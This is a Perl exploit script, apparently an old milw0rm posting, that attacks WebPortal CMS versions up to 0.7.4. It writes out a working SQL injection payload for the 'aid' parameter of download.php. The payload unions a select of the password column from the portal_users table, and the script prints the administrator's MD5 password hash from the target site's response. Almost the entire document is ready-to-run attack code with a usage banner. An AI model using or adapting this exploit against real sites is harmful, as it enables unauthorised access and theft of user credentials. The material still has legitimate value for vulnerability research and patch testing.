WebPortal CMS <= 0.7.4 (download.php aid) SQL Injection Exploit

#!/usr/bin/perl # --==+============================================================================+==-- # --==+ WebPortal &#60;= 0.7.4 Remote SQL Injection Exploit +==-- # --==+============================================================================+==-- # # [*] Discovered By: StAkeR ~ StAkeR@hotmail.it # [+] Discovered On: 12 Sep 2008 # [+] Download: http://webportal.ivanoculmine.com/download.php?mid=14 # # [*] SQL Injection # [+] download.php?aid=1&#39;+union+select+pass,0,0,0,0+from+portal_users+where+id=&#39;1 # [+] get file &#34;download.php&#34; and you can read # # [*] Exploit: # # ---------------------------------------------------------- # WebPortal &#60;= 0.7.4 Remote SQL Injection Exploit # Author: StAkeR - StAkeR[at]hotmail[dot]it # ---------------------------------------------------------- # Usage: perl http://localhost/cms # ---------------------------------------------------------- use strict; use LWP::Simple; my $domain = shift @ARGV or banner(); my $injsql = &#34;/download.php?aid=1&#39;+union+select+pass,0,0,0,0+from+portal_users+where+id=&#39;1&#34;; if(get($domain.$injsql) =~ /([0-9a-f]{32})/) { print &#34;[+] Exploit Succesfull!\n&#34;; print &#34;[+] MD5 Password: ${1}\n&#34;; } else { print &#34;[!] Exploit Failed!\n&#34;; print &#34;[!] Site Not Vulnerable!\n&#34;; } sub banner { print &#34;[+] WebPortal &#60;= 0.7.4 Remote SQL Injection Exploit\n&#34;; print &#34;[+] Usage: ${0} http://[host]\n&#34;; return exit; } # milw0rm.com [2008-09-12]